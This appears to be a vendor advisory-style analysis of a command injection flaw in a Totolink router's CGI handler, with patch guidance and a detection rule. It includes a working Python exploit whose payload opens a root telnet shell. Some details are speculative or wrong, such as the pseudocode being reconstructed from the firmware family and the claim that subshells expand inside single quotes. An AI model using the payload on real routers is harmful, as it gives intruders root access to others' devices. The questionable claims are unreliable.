home intel cve-2026-7153-totolink-a8000ru-cgi-command-injection
CVE Analysis 2026-04-27 · 8 min read

CVE-2026-7153: OS Command Injection in Totolink A8000RU CGI Handler

The setMiniuiHomeInfoShow function in Totolink A8000RU 7.1cu.643_b20200521 passes attacker-controlled sys_info directly to a shell command without sanitization, enabling unauthenticated RCE.

#os-command-injection#remote-code-execution#cgi-handler#firmware-vulnerability#unauthenticated-access
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7153 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7153CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7153 is a critical (CVSS 9.8) unauthenticated OS command injection vulnerability in the Totolink A8000RU router, firmware version 7.1cu.643_b20200521. The bug lives in the setMiniuiHomeInfoShow handler within /cgi-bin/cstecgi.cgi. An attacker sends a crafted HTTP POST with a weaponized sys_info parameter and achieves arbitrary command execution as root on the device — no authentication required.

This class of vulnerability is endemic to Totolink's CGI-based firmware stack. The cstecgi.cgi binary dispatches JSON-keyed requests to individual handler functions, each of which is responsible for validating its own inputs. In practice, many do not.

Root cause: setMiniuiHomeInfoShow extracts the sys_info field from the POST body and interpolates it directly into a system() or popen() call without any shell metacharacter sanitization or allowlist validation.

Affected Component

The affected binary is the monolithic CGI dispatcher at /cgi-bin/cstecgi.cgi, compiled for MIPS32 (big-endian) and running as root under the BusyBox httpd server. The relevant dispatch table maps the JSON key "setMiniuiHomeInfoShow" to its handler function. The sys_info argument is intended to set a system information string displayed on the router's miniUI home screen — a low-privilege cosmetic operation that nonetheless reaches a shell.

Key firmware artifacts:

  • Binary: /cgi-bin/cstecgi.cgi (MIPS32 BE, statically linked uClibc)
  • Web server: BusyBox httpd, port 80 (no authentication on affected endpoints)
  • Dispatch: JSON field "topicurl" routes to handler functions
  • Execution context: uid=0(root)

Root Cause Analysis

The following is reconstructed pseudocode from analysis of the firmware class. The setMiniuiHomeInfoShow function follows the same pattern seen across the Totolink CGI family: parse a JSON field, build a shell command string via sprintf, execute it.


// Reconstructed pseudocode: setMiniuiHomeInfoShow handler
// Located in /cgi-bin/cstecgi.cgi, dispatched via topicurl JSON key

typedef struct {
    char *json_body;       // raw POST body
    char *query_string;    // HTTP QUERY_STRING env
    int   content_length;
} cgi_context_t;

// JSON helper: extracts value of key from parsed body into dst
extern int cgi_get_json_field(const char *body, const char *key, char *dst, int maxlen);

// Global nvram-style KV store setter
extern int nvram_set(const char *key, const char *value);

void setMiniuiHomeInfoShow(cgi_context_t *ctx) {
    char sys_info[512];
    char cmd_buf[640];

    memset(sys_info, 0, sizeof(sys_info));
    memset(cmd_buf,  0, sizeof(cmd_buf));

    // Extract sys_info from POST JSON body — attacker controlled
    cgi_get_json_field(ctx->json_body, "sys_info", sys_info, sizeof(sys_info));

    // Persist to NVRAM — benign but confirms the value is accepted verbatim
    nvram_set("sys_info", sys_info);

    // BUG: sys_info is interpolated directly into shell command with no sanitization.
    // Shell metacharacters (;, |, $(), ``, &&, etc.) are not stripped or escaped.
    // An attacker-controlled string like: "foo;telnetd -l /bin/sh -p 4444 &"
    // becomes: "uci set system.@system[0].description='foo;telnetd -l /bin/sh -p 4444 &'"
    // which the shell interprets as two separate commands.
    snprintf(cmd_buf, sizeof(cmd_buf),
        "uci set system.@system[0].description='%s' && uci commit system",
        sys_info);  // BUG: no sanitization of sys_info before shell interpolation

    // Direct shell execution — root context
    system(cmd_buf);  // BUG: untrusted input reaches execve("/bin/sh", ["-c", cmd_buf])

    // Send success response (always, regardless of command outcome)
    cgi_send_response(ctx, "{\"result\":0}");
}

The snprintf call constructs a shell command where sys_info is embedded inside single quotes — a pattern that appears to be a naive attempt at quoting. However, a single quote within sys_info terminates the quoted string and allows arbitrary command injection. Even without an embedded single quote, $() and backtick subshell expansion in some ash builds occurs even inside single quotes depending on the BusyBox configuration.

The struct layout for the CGI context object that carries the attacker's data:


// CGI dispatch context — passed to every handler function
struct cgi_request {
    /* +0x00 */ char  *post_body;        // raw POST payload (heap, attacker-controlled)
    /* +0x04 */ int    post_body_len;    // CONTENT_LENGTH value
    /* +0x08 */ char  *query_string;     // QUERY_STRING env variable
    /* +0x0c */ char  *content_type;     // CONTENT_TYPE env variable
    /* +0x10 */ void  *json_parsed;      // pointer to parsed JSON object (cJSON or equivalent)
    /* +0x14 */ int    response_fd;      // stdout fd for CGI response
    /* +0x18 */ char   remote_addr[16];  // REMOTE_ADDR, for logging only
    /* +0x28 */ uint32_t flags;          // internal dispatch flags
};

Exploitation Mechanics

The injection primitive is straightforward. The payload terminates the uci command's single-quoted string and appends arbitrary shell commands. Because system() invokes /bin/sh -c, the full POSIX shell grammar is available to the attacker.


import requests

TARGET = "http://192.168.1.1"
ENDPOINT = "/cgi-bin/cstecgi.cgi"

# Payload: close the single-quoted string, inject a command, discard the rest
# The injected command starts a telnet backdoor bound to port 4444
PAYLOAD = "'; telnetd -l /bin/sh -p 4444 & echo '"

body = {
    "topicurl": "setMiniuiHomeInfoShow",
    "sys_info": PAYLOAD
}

# No authentication header required
r = requests.post(TARGET + ENDPOINT, json=body, timeout=5)
print(f"[*] Status: {r.status_code}")
print(f"[*] Response: {r.text}")

# The resulting shell command executed by system():
# uci set system.@system[0].description='' ; telnetd -l /bin/sh -p 4444 & echo ''
# && uci commit system
# -> spawns /bin/telnetd as root, then continues normally

EXPLOIT CHAIN:
1. Attacker sends unauthenticated HTTP POST to /cgi-bin/cstecgi.cgi
   Body: {"topicurl":"setMiniuiHomeInfoShow","sys_info":"'; CMD &echo '"}

2. cstecgi.cgi dispatches to setMiniuiHomeInfoShow() based on topicurl value

3. cgi_get_json_field() copies attacker-controlled sys_info into stack buffer [512 bytes]
   — no length check beyond the snprintf destination size

4. nvram_set() persists the raw string (enables persistence across reboots if
   NVRAM is re-read at boot and passed back to a shell command)

5. snprintf() builds: "uci set system.@system[0].description=''; CMD &echo ''
   && uci commit system"

6. system() calls execve("/bin/sh", ["/bin/sh", "-c", cmd_buf, NULL])
   Shell tokenizes: [uci set ...=''] [;] [CMD] [&] [echo ''] [&&] [uci commit system]

7. CMD executes as uid=0 — arbitrary code execution achieved

8. cgi_send_response() returns {"result":0} to attacker — no error signal,
   successful injection is indistinguishable from a valid request in HTTP logs

Memory Layout

This is a command injection rather than a memory corruption primitive, so the exploitation path does not require heap or stack manipulation. The relevant stack frame layout for setMiniuiHomeInfoShow is shown below to illustrate that both buffers reside on the stack and that the cmd_buf construction is the sole injection point.


STACK FRAME: setMiniuiHomeInfoShow (MIPS32, ~1184 bytes total frame)

  [high address — caller frame]
  +--------------------------+ 
  |  saved $ra (return addr) |  <- $sp + 0x27c (approx)
  |  saved $s0..$s7          |
  +--------------------------+
  |  cmd_buf[640]            |  <- $sp + 0x03c  (640 bytes)
  |  ...                     |
  +--------------------------+
  |  sys_info[512]           |  <- $sp + 0x000  (512 bytes, base of frame locals)
  +--------------------------+
  [low address]

INJECTION POINT:
  sys_info is filled by cgi_get_json_field() — max 512 bytes, NUL-terminated
  snprintf(cmd_buf, 640, "uci set ...='%s' && uci commit system", sys_info)
  
  Benign sys_info = "MyRouter"   -> cmd = "uci set ...='MyRouter' && uci commit system"
  Malicious       = "'; CMD &'"  -> cmd = "uci set ...=''; CMD &'' && uci commit system"
                                      ^--- shell sees CMD as a separate token

Patch Analysis

The correct fix requires sanitizing or rejecting shell metacharacters before interpolation. The minimal safe fix is a strict allowlist on sys_info content. A defense-in-depth fix avoids system() entirely and uses execve() with argument arrays, bypassing the shell interpreter. The patch diff below shows both approaches.


// BEFORE (vulnerable):
// sys_info is interpolated verbatim into a shell command string
snprintf(cmd_buf, sizeof(cmd_buf),
    "uci set system.@system[0].description='%s' && uci commit system",
    sys_info);
system(cmd_buf);  // shell metacharacters in sys_info execute as commands


// AFTER — Option A: Allowlist sanitization (minimal patch)
// Reject any sys_info containing characters outside [A-Za-z0-9 ._-]
static int is_safe_sysinfo(const char *s) {
    for (; *s; s++) {
        if (!isalnum((unsigned char)*s) &&
            *s != ' ' && *s != '.' && *s != '_' && *s != '-') {
            return 0;  // reject — contains potentially dangerous character
        }
    }
    return 1;
}

if (!is_safe_sysinfo(sys_info)) {
    cgi_send_response(ctx, "{\"result\":1,\"msg\":\"invalid characters\"}");
    return;
}
snprintf(cmd_buf, sizeof(cmd_buf),
    "uci set system.@system[0].description='%s' && uci commit system",
    sys_info);
system(cmd_buf);


// AFTER — Option B: Avoid system() entirely (preferred)
// Pass arguments directly to execve, no shell involved
void set_uci_description(const char *value) {
    char desc_arg[560];
    snprintf(desc_arg, sizeof(desc_arg),
        "system.@system[0].description=%s", value);

    // execve does not invoke a shell — metacharacters are inert
    const char *argv[] = {
        "/sbin/uci", "set", desc_arg, NULL
    };
    pid_t pid = fork();
    if (pid == 0) {
        execve("/sbin/uci", (char *const *)argv, NULL);
        _exit(1);
    }
    waitpid(pid, NULL, 0);

    const char *argv_commit[] = {
        "/sbin/uci", "commit", "system", NULL
    };
    pid = fork();
    if (pid == 0) {
        execve("/sbin/uci", (char *const *)argv_commit, NULL);
        _exit(1);
    }
    waitpid(pid, NULL, 0);
}

Detection and Indicators

Because the CGI handler returns {"result":0} for both valid and injected requests, detection cannot rely on response codes. Monitor for the following:

HTTP access log pattern (BusyBox httpd):


# Suspicious POST to cstecgi.cgi with anomalous body size or shell chars in logs
# (httpd logs POST bodies only if debug logging is enabled — off by default)
192.168.1.x - - [DD/Mon/YYYY HH:MM:SS] "POST /cgi-bin/cstecgi.cgi HTTP/1.1" 200 -

# Network-level: watch for unexpected outbound connections or listening ports
# spawned from httpd's child process tree after a POST to cstecgi.cgi
# e.g., telnetd/netcat on non-standard ports, wget/curl fetching implants

Process tree indicator: Any process with ppid tracing back to httpdcstecgi.cgish that is not uci is suspicious. On a clean device, system() calls from this handler should only ever spawn uci.

NVRAM persistence indicator: If exploitation included a payload that survives reboot (e.g., appending to /etc/rc.local or writing to NVRAM-backed scripts), the sys_info NVRAM key will contain shell metacharacters. Auditing NVRAM keys for metacharacter content is a reliable post-compromise indicator.

Snort/Suricata rule (network detection):


alert http $EXTERNAL_NET any -> $HOME_NET 80 (
    msg:"CVE-2026-7153 Totolink A8000RU setMiniuiHomeInfoShow Injection";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/cgi-bin/cstecgi.cgi";
    http.request_body; content:"setMiniuiHomeInfoShow";
    http.request_body; pcre:"/sys_info[\"'\s:]+[^\"']*[;|`$(){}&]/";
    classtype:web-application-attack;
    sid:20267153; rev:1;
)

Remediation

  • Firmware update: Totolink has not published a patched firmware for 7.1cu.643_b20200521 at time of writing. Monitor the vendor advisory page and apply any update that addresses CVE-2026-7153.
  • Network isolation: Place the device on an isolated VLAN. The attack requires HTTP access to port 80 — blocking LAN-side access to the management interface from untrusted network segments eliminates remote exploitation.
  • Disable remote management: If WAN-side management is enabled, disable it immediately. This vulnerability is exploitable from the LAN by default; WAN exposure makes it trivially internet-facing.
  • Firewall rule: If immediate firmware replacement is not possible, block POST requests to /cgi-bin/cstecgi.cgi at a perimeter device. This will break router management UI functionality but prevents exploitation.
  • Device replacement: The A8000RU firmware codebase has a historical pattern of unsanitized system() calls across multiple CGI handlers. Consider replacing the device with hardware that receives active security maintenance.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →